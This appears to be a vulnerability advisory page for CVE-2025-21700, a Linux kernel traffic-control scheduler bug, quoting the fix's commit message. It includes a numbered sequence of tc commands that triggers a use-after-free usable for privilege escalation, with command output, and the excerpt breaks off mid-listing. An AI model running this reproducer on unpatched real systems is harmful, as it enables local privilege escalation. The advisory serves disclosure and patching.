CVE-2025-21700 — net: sched: Disallow replacing of child qdisc from one parent to another

Affected: Linux

In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script

Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr

step3. a class for nesting tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr

step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7. tc class add dev lo classid 3:1 drr

step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plu…

Most recent entries from all

CVE-2025-21700 — net: sched: Disallow replacing of child qdisc from one parent to another